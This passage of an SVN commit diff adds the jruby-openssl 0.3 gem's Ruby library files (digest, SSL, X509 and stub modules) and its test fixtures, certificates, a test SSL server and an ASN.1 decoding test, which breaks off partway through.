+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/digest.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,48 @@
+=begin
+= $RCSfile: digest.rb,v $ -- Ruby-space predefined Digest subclasses
+
+= Info
+  'OpenSSL for Ruby 2' project
+  Copyright (C) 2002  Michal Rokos <m.rokos at sh.cvut.cz>
+  All rights reserved.
+
+= Licence
+  This program is licenced under the same licence as Ruby.
+  (See the file 'LICENCE'.)
+
+= Version
+  $Id: digest.rb,v 1.1.2.2 2006/06/20 11:18:15 gotoyuzo Exp $
+=end
+
+##
+# Should we care what if somebody require this file directly?
+#require 'openssl'
+
+module OpenSSL
+  module Digest
+
+    alg = %w(DSS DSS1 MD2 MD4 MD5 MDC2 RIPEMD160 SHA SHA1)
+    if OPENSSL_VERSION_NUMBER > 0x00908000
+      alg += %w(SHA224 SHA256 SHA384 SHA512)
+    end
+    alg.each{|name|
+      klass = Class.new(Digest){
+        define_method(:initialize){|*data|
+          if data.length > 1
+            raise ArgumentError,
+              "wrong number of arguments (#{data.length} for 1)"
+          end
+          super(name, data.first)
+        }
+      }
+      singleton = (class <<klass; self; end)
+      singleton.class_eval{
+        define_method(:digest){|data| Digest.digest(name, data) }
+        define_method(:hexdigest){|data| Digest.hexdigest(name, data) }
+      }
+      const_set(name, klass)
+    }
+
+  end # Digest
+end # OpenSSL
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/dummy.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/dummy.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/dummy.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,34 @@
+warn "Warning: OpenSSL ASN1/PKey/X509/Netscape/PKCS7 implementation unavailable"
+warn "You need to download or install BouncyCastle jars (bc-prov-*.jar, bc-mail-*.jar)"
+warn "to fix this."
+module OpenSSL
+  module ASN1
+    class ASN1Error < OpenSSLError; end
+    class ASN1Data; end
+    class Primitive; end
+    class Constructive; end
+  end
+  module PKey
+    class PKeyError < OpenSSLError; end
+    class PKey; def initialize(*args); end; end
+    class RSA < PKey; end
+    class DSA < PKey; end
+    class DH < PKey; end
+  end
+  module X509
+    class Name; end
+    class Certificate; end
+    class Extension; end
+    class CRL; end
+    class Revoked; end
+    class Store; end
+    class Request; end
+    class Attribute; end
+  end
+  module Netscape
+    class SPKI; end
+  end
+  module PKCS7
+    class PKCS7; end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/dummyssl.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/dummyssl.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/dummyssl.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+warn "Warning: OpenSSL SSL implementation unavailable"
+warn "You must run on JDK 1.5 (Java 5) or higher to use SSL"
+module OpenSSL
+  module SSL
+    class SSLError < OpenSSLError; end
+    class SSLContext; end
+    class SSLSocket; end
+    VERIFY_NONE = 0
+    VERIFY_PEER = 1
+    VERIFY_FAIL_IF_NO_PEER_CERT = 2
+    VERIFY_CLIENT_ONCE = 4
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/ssl.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/ssl.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/ssl.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,135 @@
+=begin
+= $RCSfile: ssl.rb,v $ -- Ruby-space definitions that completes C-space funcs for SSL
+
+= Info
+  'OpenSSL for Ruby 2' project
+  Copyright (C) 2001 GOTOU YUUZOU <gotoyuzo at notwork.org>
+  All rights reserved.
+
+= Licence
+  This program is licenced under the same licence as Ruby.
+  (See the file 'LICENCE'.)
+
+= Version
+  $Id: ssl.rb,v 1.5.2.6 2006/05/23 18:14:05 gotoyuzo Exp $
+=end
+
+require "openssl"
+require "openssl/buffering"
+require "fcntl"
+
+module OpenSSL
+  module SSL
+    module SocketForwarder
+      def addr
+        to_io.addr
+      end
+
+      def peeraddr
+        to_io.peeraddr
+      end
+
+      def setsockopt(level, optname, optval)
+        to_io.setsockopt(level, optname, optval)
+      end
+
+      def getsockopt(level, optname)
+        to_io.getsockopt(level, optname)
+      end
+
+      def fcntl(*args)
+        to_io.fcntl(*args)
+      end
+
+      def closed?
+        to_io.closed?
+      end
+
+      def do_not_reverse_lookup=(flag)
+        to_io.do_not_reverse_lookup = flag
+      end
+    end
+
+    module Nonblock
+      def initialize(*args)
+        flag = File::NONBLOCK
+        flag |= @io.fcntl(Fcntl::F_GETFL) if defined?(Fcntl::F_GETFL)
+        @io.fcntl(Fcntl::F_SETFL, flag)
+        super
+      end
+    end
+
+    class SSLSocket
+      include Buffering
+      include SocketForwarder
+      include Nonblock
+
+      def post_connection_check(hostname)
+        check_common_name = true
+        cert = peer_cert
+        cert.extensions.each{|ext|
+          next if ext.oid != "subjectAltName"
+          ext.value.split(/,\s+/).each{|general_name|
+            if /\ADNS:(.*)/ =~ general_name
+              check_common_name = false
+              reg = Regexp.escape($1).gsub(/\\\*/, "[^.]+")
+              return true if /\A#{reg}\z/i =~ hostname
+            elsif /\AIP Address:(.*)/ =~ general_name
+              check_common_name = false
+              return true if $1 == hostname
+            end
+          }
+        }
+        if check_common_name
+          cert.subject.to_a.each{|oid, value|
+            if oid == "CN"
+              reg = Regexp.escape(value).gsub(/\\\*/, "[^.]+")
+              return true if /\A#{reg}\z/i =~ hostname
+            end
+          }
+        end
+        raise SSLError, "hostname not match"
+      end
+    end
+
+    class SSLServer
+      include SocketForwarder
+      attr_accessor :start_immediately
+
+      def initialize(svr, ctx)
+        @svr = svr
+        @ctx = ctx
+        unless ctx.session_id_context
+          session_id = OpenSSL::Digest::MD5.hexdigest($0)
+          @ctx.session_id_context = session_id
+        end
+        @start_immediately = true
+      end
+
+      def to_io
+        @svr
+      end
+
+      def listen(backlog=5)
+        @svr.listen(backlog)
+      end
+
+      def accept
+        sock = @svr.accept
+        begin
+          ssl = OpenSSL::SSL::SSLSocket.new(sock, @ctx)
+          ssl.sync_close = true
+          ssl.accept if @start_immediately
+          ssl
+        rescue SSLError => ex
+          sock.close
+          raise ex
+        end
+      end
+
+      def close
+        @svr.close
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/x509.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/x509.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/x509.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,154 @@
+=begin
+= $RCSfile: x509.rb,v $ -- Ruby-space definitions that completes C-space funcs for X509 and subclasses
+
+= Info
+  'OpenSSL for Ruby 2' project
+  Copyright (C) 2002  Michal Rokos <m.rokos at sh.cvut.cz>
+  All rights reserved.
+
+= Licence
+  This program is licenced under the same licence as Ruby.
+  (See the file 'LICENCE'.)
+
+= Version
+  $Id: x509.rb,v 1.4.2.2 2004/12/19 08:28:33 gotoyuzo Exp $
+=end
+
+require "openssl"
+
+module OpenSSL
+  module X509
+    class ExtensionFactory
+      def create_extension(*arg)
+        if arg.size > 1
+          create_ext(*arg)
+        else
+          send("create_ext_from_"+arg[0].class.name.downcase, arg[0])
+        end
+      end
+
+      def create_ext_from_array(ary)
+        raise ExtensionError, "unexpected array form" if ary.size > 3 
+        create_ext(ary[0], ary[1], ary[2])
+      end
+
+      def create_ext_from_string(str) # "oid = critical, value"
+        oid, value = str.split(/=/, 2)
+        oid.strip!
+        value.strip!
+        create_ext(oid, value)
+      end
+      
+      def create_ext_from_hash(hash)
+        create_ext(hash["oid"], hash["value"], hash["critical"])
+      end
+    end
+    
+    class Extension
+      def to_s # "oid = critical, value"
+        str = self.oid
+        str << " = "
+        str << "critical, " if self.critical?
+        str << self.value.gsub(/\n/, ", ")
+      end
+        
+      def to_h # {"oid"=>sn|ln, "value"=>value, "critical"=>true|false}
+        {"oid"=>self.oid,"value"=>self.value,"critical"=>self.critical?}
+      end
+
+      def to_a
+        [ self.oid, self.value, self.critical? ]
+      end
+    end
+
+    class Name
+      module RFC2253DN
+        Special = ',=+<>#;'
+        HexChar = /[0-9a-fA-F]/
+        HexPair = /#{HexChar}#{HexChar}/
+        HexString = /#{HexPair}+/
+        Pair = /\\(?:[#{Special}]|\\|"|#{HexPair})/
+        StringChar = /[^#{Special}\\"]/
+        QuoteChar = /[^\\"]/
+        AttributeType = /[a-zA-Z][0-9a-zA-Z]*|[0-9]+(?:\.[0-9]+)*/
+        AttributeValue = /
+          (?!["#])((?:#{StringChar}|#{Pair})*)|
+          \#(#{HexString})|
+          "((?:#{QuoteChar}|#{Pair})*)"
+        /x
+        TypeAndValue = /\A(#{AttributeType})=#{AttributeValue}/
+
+        module_function
+
+        def expand_pair(str)
+          return nil unless str
+          return str.gsub(Pair){|pair|
+            case pair.size
+            when 2 then pair[1,1]
+            when 3 then Integer("0x#{pair[1,2]}").chr
+            else raise OpenSSL::X509::NameError, "invalid pair: #{str}"
+            end
+          }
+        end
+
+        def expand_hexstring(str)
+          return nil unless str
+          der = str.gsub(HexPair){|hex| Integer("0x#{hex}").chr }
+          a1 = OpenSSL::ASN1.decode(der)
+          return a1.value, a1.tag
+        end
+
+        def expand_value(str1, str2, str3)
+          value = expand_pair(str1)
+          value, tag = expand_hexstring(str2) unless value
+          value = expand_pair(str3) unless value
+          return value, tag
+        end
+
+        def scan(dn)
+          str = dn
+          ary = []
+          while true
+            if md = TypeAndValue.match(str)
+              matched = md.to_s
+              remain = md.post_match
+              type = md[1]
+              value, tag = expand_value(md[2], md[3], md[4]) rescue nil
+              if value
+                type_and_value = [type, value]
+                type_and_value.push(tag) if tag
+                ary.unshift(type_and_value)
+                if remain.length > 2 && remain[0] == ?,
+                  str = remain[1..-1]
+                  next
+                elsif remain.length > 2 && remain[0] == ?+
+                  raise OpenSSL::X509::NameError,
+                    "multi-valued RDN is not supported: #{dn}"
+                elsif remain.empty?
+                  break
+                end
+              end
+            end
+            msg_dn = dn[0, dn.length - str.length] + " =>" + str
+            raise OpenSSL::X509::NameError, "malformed RDN: #{msg_dn}"
+          end
+          return ary
+        end
+      end
+
+      class <<self
+        def parse_rfc2253(str, template=OBJECT_TYPE_TEMPLATE)
+          ary = OpenSSL::X509::Name::RFC2253DN.scan(str)
+          self.new(ary, template)
+        end
+
+        def parse_openssl(str, template=OBJECT_TYPE_TEMPLATE)
+          ary = str.scan(/\s*([^\/,]+)\s*/).collect{|i| i[0].split("=", 2) }
+          self.new(ary, template)
+        end
+
+        alias parse parse_openssl
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+=begin
+= $RCSfile: openssl.rb,v $ -- Loader for all OpenSSL C-space and Ruby-space definitions
+
+= Info
+  'OpenSSL for Ruby 2' project
+  Copyright (C) 2002  Michal Rokos <m.rokos at sh.cvut.cz>
+  All rights reserved.
+
+= Licence
+  This program is licenced under the same licence as Ruby.
+  (See the file 'LICENCE'.)
+
+= Version
+  $Id: openssl.rb,v 1.1 2003/07/23 16:11:29 gotoyuzo Exp $
+=end
+
+require 'jopenssl'
+
+require 'openssl/bn'
+require 'openssl/cipher'
+require 'openssl/digest'
+require 'openssl/ssl'
+require 'openssl/x509'
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/fixture/cacert.pem
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/fixture/cacert.pem	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/fixture/cacert.pem	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+-----BEGIN CERTIFICATE-----
+MIID3DCCAsSgAwIBAgIBADANBgkqhkiG9w0BAQUFADBAMQswCQYDVQQGEwJVUzEJ
+MAcGA1UECgwAMRkwFwYDVQQLDBBwb2xhcmZveC1sYXB0b3AKMQswCQYDVQQDDAJD
+QTAeFw0wODA0MjkxNTIzNDlaFw0xMzA0MjgxNTIzNDlaMEAxCzAJBgNVBAYTAlVT
+MQkwBwYDVQQKDAAxGTAXBgNVBAsMEHBvbGFyZm94LWxhcHRvcAoxCzAJBgNVBAMM
+AkNBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwUxEs2y3huzcV+Z9
+VqCJ7CZQn3pE25Gmc+mHyrDfjX65hUsfd0oTWMlGGXHTH3kas25rq4s7iznhLJRM
+b4OUAdSjlIdWLQVe/N9i3MuekHKIcNoiKKtN2IDjIdnveMr65p2BaGKPYrwVASWE
+tj2T4tLplfWqUYv1TPJBcpLSt1zxlAeXhUn7z5h1gMrN0YUCWwPnz8gEhnMsmW8n
+Ev5um8niq8cqC1BDtHtYpKgLNJ5TKG7dnsquX9PIe22xVz936Ga20ScS9VU8QYod
+rPjDq9aT4tGqOJVv2HhUPlRqv3pVahxLQoi8fFXOzuCgzYJZFswqo8KijXlQrYfB
+7sIU0wIDAQABo4HgMIHdMA8GA1UdEwEB/wQFMAMBAf8wMQYJYIZIAYb4QgENBCQW
+IlJ1YnkvT3BlblNTTCBHZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFOA5
+LUlqCS/CSv0hsB1yVrvE/SfNMA4GA1UdDwEB/wQEAwIBBjBoBgNVHSMEYTBfgBTg
+OS1Jagkvwkr9IbAdcla7xP0nzaFEpEIwQDELMAkGA1UEBhMCVVMxCTAHBgNVBAoM
+ADEZMBcGA1UECwwQcG9sYXJmb3gtbGFwdG9wCjELMAkGA1UEAwwCQ0GCAQAwDQYJ
+KoZIhvcNAQEFBQADggEBAAVa+1G09IwMedFGWGp7mHr8NS+xcXGmQq4g2NsJV0f4
+Aw+K6F7Km65xIUTjO9rfiFmuggT3KeSo/gsRwmRwPRQQWv3Lxv3bvcWyhZ9RMo3V
+5PMQRwJnc5cM4CGACjmusK62v36zrtXJlvNM8fGNSn7tF5i+1Wo4hKJoDwIpKN9X
+tjg1FfQdUsqnLWCFU50vZFM2UwLJczVk+8TAcd9LfZpakMNY7RbGxL4izhAojTow
+M3LieY0bNg9T+8R0A/QtAgImx3SzrLJqKspPZK7cAaXrfvnRQuOzEdTnTloS9VbE
+jjwmik9rpqUfcCtTS2gzqhKaR/HJ4nUiiNbT9pwRp68=
+-----END CERTIFICATE-----

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/fixture/cert_localhost.pem
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/fixture/cert_localhost.pem	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/fixture/cert_localhost.pem	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,19 @@
+-----BEGIN CERTIFICATE-----
+MIIDETCCAfmgAwIBAgIBATANBgkqhkiG9w0BAQUFADBAMQswCQYDVQQGEwJVUzEJ
+MAcGA1UECgwAMRkwFwYDVQQLDBBwb2xhcmZveC1sYXB0b3AKMQswCQYDVQQDDAJD
+QTAeFw0wODA0MjkxNTIzNTBaFw0wOTA0MjkxNTIzNTBaMFQxCzAJBgNVBAYTAlVT
+MQkwBwYDVQQKDAAxGTAXBgNVBAsMEHBvbGFyZm94LWxhcHRvcAoxCzAJBgNVBAsM
+AkNBMRIwEAYDVQQDDAlsb2NhbGhvc3QwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJ
+AoGBALwjGdTLBORgDSx56V5Pr2eykXmxNeZ6/MG/KZcjHxE8F5v5MWrwqIE1RURv
+WGruSh3KNjusP/EeofmHYlgXGMsED5JSVMe9jRH+ewG4dNwcqQPbeGhUE0L3F7Ls
+AaR9m9jsDT5ZIu5uNipbbCf3Z7Z3VkDu5RMn0QYt3gP3Y0TTAgMBAAGjgYUwgYIw
+DAYDVR0TAQH/BAIwADAxBglghkgBhvhCAQ0EJBYiUnVieS9PcGVuU1NMIEdlbmVy
+YXRlZCBDZXJ0aWZpY2F0ZTAdBgNVHQ4EFgQUHoNAq7GhjaikqPHGtiwGCPMoDysw
+CwYDVR0PBAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA0GCSqGSIb3DQEBBQUA
+A4IBAQAgPF1pOQCLFr4YlXzrXV8ieptCNBPMfSjx1V6sxf+1RYhfPabnvV7vaRvj
+0WiPdtdUjBTqaDPohHI9ucyrX6CgcPqtmXcH0XxHkPNZB71DIE78DO+DbFtxKt3I
+tAEGLooERC1ZFiWbWkCdKFcwfqn+5CoN/PYulWmhwOoHrEeQU41coLHFZZjwPYga
+cJSKY4YoCkyYW28MrjMwA4DnGDCgUPENSxZumbW+XEt9IbtZ5eWou9w33BAa33L8
+L6p7CISUJmghVyfVIjVii3fC/CpS6lnL1XB1TNN9P4W3QRJR18gOlXWkPCS7vKF0
+03tfXiG1SDx4vShLX3Go9++cYUVj
+-----END CERTIFICATE-----

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/fixture/localhost_keypair.pem
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/fixture/localhost_keypair.pem	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/fixture/localhost_keypair.pem	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,18 @@
+-----BEGIN RSA PRIVATE KEY-----
+Proc-Type: 4,ENCRYPTED
+DEK-Info: DES-EDE3-CBC,A4D3615618A2B1CF
+
+FPXTNlUO1RcNmNhLp+oNC0JIAInRE7p6OWBBuBGSyfRr891IZnFkGMzxlnZsvHmh
+TKTq2rVcN3yHK4bc+6vQkc2JZMp7nB04RHU3vBwy29k7Tyz8Ee+RQwBSOahNfDt+
+mJTArnDidmMcpxb3lCLbuxjM9IqCC4PWaNloCGslZb/qlwNUdAeFdQsiFBrdn2SY
+XQySczZnVBzQJv0YjlVJ6guBFtCjnCp8yUaOfIOfOUEgC1hCpjv41tfGDF2+eCiq
+4gEVB4D7Wy0s0kFf3icuhxSYcZLavpLa3dg8pG5YhoX9a+M+1164cTo+fbIdMUp7
+zrzIVSWPcgPzypjGPj/Vfo3K6B/XygLhxhL3Nf+3UVixLRERk0yBksLqPDsfifkj
+BDzMsD3vI4BteZUsbnae/w+LT3VFP+BrkhTUxvPZMzDlS8KKr50cm9Ubbx1R/beY
+uNPx7YyH8oqt70VAciqKL0G2q9DFAfjpqnLaH2toM0vp6iVG4JmI49DFgrV1AHBb
+hrn1FcmkhATfEFMbnm+hpadQxnMzPh/YB1yg7yiuicrJdTs5CJQPp5H0ES0AQhlg
+dYxGoggTic7T586JIpF9YG1yvrau5kVsbP0kqOfHR6BB7hU1XXvQeIa6GSfZVNZY
+zG6u715WH7hrQoXFAGxF6/wd575M2mLQpOWKRKvE/jrsSQHUy4vryQfozaPwPskx
+r+vXVZp9T5XiGx9Bm9m0wwTYYIRo2b7KsD5rjY0D0ZhemjPhKy6B89Y2NLYxuF8j
+kH0ockiSgexYGvWAkhh/5dxR+zCzqmKI6KFpYPkAfOfuvGqggJ3g2Q==
+-----END RSA PRIVATE KEY-----

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/ssl_server.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/ssl_server.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/ssl_server.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,99 @@
+require "socket"
+require "thread"
+require "openssl"
+require File.join(File.dirname(__FILE__), "utils.rb")
+
+def get_pem(io=$stdin)
+  buf = ""
+  while line = io.gets
+    if /^-----BEGIN / =~ line
+      buf << line
+      break
+    end
+  end
+  while line = io.gets
+    buf << line
+    if /^-----END / =~ line
+      break
+    end
+  end
+  return buf
+end
+
+def make_key(pem)
+  begin
+    return OpenSSL::PKey::RSA.new(pem)
+  rescue
+    return OpenSSL::PKey::DSA.new(pem)
+  end
+end
+
+if $DEBUG
+  def log(s); File.open("ssl-server-debug", "a") {|f| f.puts s}; end
+  File.open("ssl-server-debug", "w") {|f| f << ""}
+  log "server starting"
+else
+  def log(s) end
+end
+
+begin
+ca_cert  = OpenSSL::X509::Certificate.new(get_pem)
+log "got ca cert #{ca_cert.inspect}"
+ssl_cert = OpenSSL::X509::Certificate.new(get_pem)
+log "got ssl cert #{ssl_cert.inspect}"
+ssl_key  = make_key(get_pem)
+port = Integer(ARGV.shift)
+verify_mode = Integer(ARGV.shift)
+start_immediately = (/yes/ =~ ARGV.shift)
+
+store = OpenSSL::X509::Store.new
+store.add_cert(ca_cert)
+store.purpose = OpenSSL::X509::PURPOSE_SSL_CLIENT
+ctx = OpenSSL::SSL::SSLContext.new
+ctx.cert_store = store
+#ctx.extra_chain_cert = [ ca_cert ]
+ctx.cert = ssl_cert
+ctx.key = ssl_key
+ctx.verify_mode = verify_mode
+
+Socket.do_not_reverse_lookup = true
+tcps = nil
+100.times{|i|
+  begin
+    log "starting server on #{port+i}"
+    tcps = TCPServer.new("0.0.0.0", port+i)
+    port = port + i
+    break
+  rescue Errno::EADDRINUSE
+    next 
+  end
+}
+log "starting ssl server"
+ssls = OpenSSL::SSL::SSLServer.new(tcps, ctx)
+ssls.start_immediately = start_immediately
+
+log("sending pid #{Process.pid}")
+$stdout.sync = true
+$stdout.puts Process.pid
+$stdout.puts port
+
+loop do
+  ssl = ssls.accept rescue next
+  Thread.start{
+    q = Queue.new
+    th = Thread.start{ ssl.write(q.shift) while true }
+    while line = ssl.gets
+      if line =~ /^STARTTLS$/
+        ssl.accept
+        next
+      end
+      q.push(line)
+    end
+    th.kill if q.empty?
+    ssl.close
+  }
+end
+rescue
+  log $!
+  log $!.backtrace.join("\n")
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_asn1.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_asn1.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_asn1.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,199 @@
+begin
+  require "openssl"
+  require File.join(File.dirname(__FILE__), "utils.rb")
+rescue LoadError
+end
+require 'test/unit'
+
+class  OpenSSL::TestASN1 < Test::Unit::TestCase
+  def test_decode
+    subj = OpenSSL::X509::Name.parse("/DC=org/DC=ruby-lang/CN=TestCA")
+    key = OpenSSL::TestUtils::TEST_KEY_RSA1024
+    now = Time.at(Time.now.to_i) # suppress usec
+#    now = Time.utc(2006,04,03,22,15,13)
+    s = 0xdeadbeafdeadbeafdeadbeafdeadbeaf
+    exts = [
+      ["basicConstraints","CA:TRUE,pathlen:1",true],
+      ["keyUsage","keyCertSign, cRLSign",true],
+      ["subjectKeyIdentifier","hash",false],
+    ]
+    dgst = OpenSSL::Digest::SHA1.new
+    cert = OpenSSL::TestUtils.issue_cert(
+      subj, key, s, now, now+3600, exts, nil, nil, dgst)
+
+    asn1 = OpenSSL::ASN1.decode(cert)
+    assert_equal(OpenSSL::ASN1::Sequence, asn1.class)
+    assert_equal(3, asn1.value.size)
+    tbs_cert, sig_alg, sig_val = *asn1.value
+
+    assert_equal(OpenSSL::ASN1::Sequence, tbs_cert.class)
+    assert_equal(8, tbs_cert.value.size)
+
+    version = tbs_cert.value[0]
+    assert_equal(:CONTEXT_SPECIFIC, version.tag_class)
+    assert_equal(0, version.tag)
+
+    assert_equal(1, version.value.size)
+    assert_equal(OpenSSL::ASN1::Integer, version.value[0].class)
+    assert_equal(2, version.value[0].value)
+
+    serial = tbs_cert.value[1]
+    assert_equal(OpenSSL::ASN1::Integer, serial.class)
+    assert_equal(0xdeadbeafdeadbeafdeadbeafdeadbeaf, serial.value)
+
+    sig = tbs_cert.value[2]
+    assert_equal(OpenSSL::ASN1::Sequence, sig.class)
+    assert_equal(2, sig.value.size)
+    assert_equal(OpenSSL::ASN1::ObjectId, sig.value[0].class)
+    assert_equal("1.2.840.113549.1.1.5", sig.value[0].oid)
+    assert_equal(OpenSSL::ASN1::Null, sig.value[1].class)
+
+    dn = tbs_cert.value[3] # issuer
+    assert_equal(subj.hash, OpenSSL::X509::Name.new(dn).hash)
+    assert_equal(OpenSSL::ASN1::Sequence, dn.class)
+    assert_equal(3, dn.value.size)
+    assert_equal(OpenSSL::ASN1::Set, dn.value[0].class)
+    assert_equal(OpenSSL::ASN1::Set, dn.value[1].class)
+    assert_equal(OpenSSL::ASN1::Set, dn.value[2].class)
+    assert_equal(1, dn.value[0].value.size)
+    assert_equal(1, dn.value[1].value.size)
+    assert_equal(1, dn.value[2].value.size)
+    assert_equal(OpenSSL::ASN1::Sequence, dn.value[0].value[0].class)
+    assert_equal(OpenSSL::ASN1::Sequence, dn.value[1].value[0].class)
+    assert_equal(OpenSSL::ASN1::Sequence, dn.value[2].value[0].class)
+    assert_equal(2, dn.value[0].value[0].value.size)
+    assert_equal(2, dn.value[1].value[0].value.size)
+    assert_equal(2, dn.value[2].value[0].value.size)
+    oid, value = *dn.value[0].value[0].value
+    assert_equal(OpenSSL::ASN1::ObjectId, oid.class)
+    assert_equal("0.9.2342.19200300.100.1.25", oid.oid)
+    assert_equal(OpenSSL::ASN1::IA5String, value.class)
+    assert_equal("org", value.value)
+    oid, value = *dn.value[1].value[0].value
+    assert_equal(OpenSSL::ASN1::ObjectId, oid.class)
+    assert_equal("0.9.2342.19200300.100.1.25", oid.oid)
+    assert_equal(OpenSSL::ASN1::IA5String, value.class)
+    assert_equal("ruby-lang", value.value)
+    oid, value = *dn.value[2].value[0].value
+    assert_equal(OpenSSL::ASN1::ObjectId, oid.class)
+    assert_equal("2.5.4.3", oid.oid)
+    assert_equal(OpenSSL::ASN1::UTF8String, value.class)
+    assert_equal("TestCA", value.value)
+
+    validity = tbs_cert.value[4]
+    assert_equal(OpenSSL::ASN1::Sequence, validity.class)
+    assert_equal(2, validity.value.size)
+    assert_equal(OpenSSL::ASN1::UTCTime, validity.value[0].class)
+    assert_equal(now, validity.value[0].value)
+    assert_equal(OpenSSL::ASN1::UTCTime, validity.value[1].class)
+    assert_equal(now+3600, validity.value[1].value)
+
+    dn = tbs_cert.value[5] # subject
+    assert_equal(subj.hash, OpenSSL::X509::Name.new(dn).hash)
+    assert_equal(OpenSSL::ASN1::Sequence, dn.class)
+    assert_equal(3, dn.value.size)
+    assert_equal(OpenSSL::ASN1::Set, dn.value[0].class)
+    assert_equal(OpenSSL::ASN1::Set, dn.value[1].class)
+    assert_equal(OpenSSL::ASN1::Set, dn.value[2].class)
+    assert_equal(1, dn.value[0].value.size)
+    assert_equal(1, dn.value[1].value.size)
+    assert_equal(1, dn.value[2].value.size)
+    assert_equal(OpenSSL::ASN1::Sequence, dn.value[0].value[0].class)
+    assert_equal(OpenSSL::ASN1::Sequence, dn.value[1].value[0].class)
+    assert_equal(OpenSSL::ASN1::Sequence, dn.value[2].value[0].class)
+    assert_equal(2, dn.value[0].value[0].value.size)
+    assert_equal(2, dn.value[1].value[0].value.size)
+    assert_equal(2, dn.value[2].value[0].value.size)
+    oid, value = *dn.value[0].value[0].value
+    assert_equal(OpenSSL::ASN1::ObjectId, oid.class)
+    assert_equal("0.9.2342.19200300.100.1.25", oid.oid)
+    assert_equal(OpenSSL::ASN1::IA5String, value.class)
+    assert_equal("org", value.value)
+    oid, value = *dn.value[1].value[0].value
+    assert_equal(OpenSSL::ASN1::ObjectId, oid.class)
+    assert_equal("0.9.2342.19200300.100.1.25", oid.oid)
+    assert_equal(OpenSSL::ASN1::IA5String, value.class)
+    assert_equal("ruby-lang", value.value)
+    oid, value = *dn.value[2].value[0].value
+    assert_equal(OpenSSL::ASN1::ObjectId, oid.class)
+    assert_equal("2.5.4.3", oid.oid)
+    assert_equal(OpenSSL::ASN1::UTF8String, value.class)
+    assert_equal("TestCA", value.value)
+
+    pkey = tbs_cert.value[6]
+    assert_equal(OpenSSL::ASN1::Sequence, pkey.class)
+    assert_equal(2, pkey.value.size)
+    assert_equal(OpenSSL::ASN1::Sequence, pkey.value[0].class)
+    assert_equal(2, pkey.value[0].value.size)
+    assert_equal(OpenSSL::ASN1::ObjectId, pkey.value[0].value[0].class)
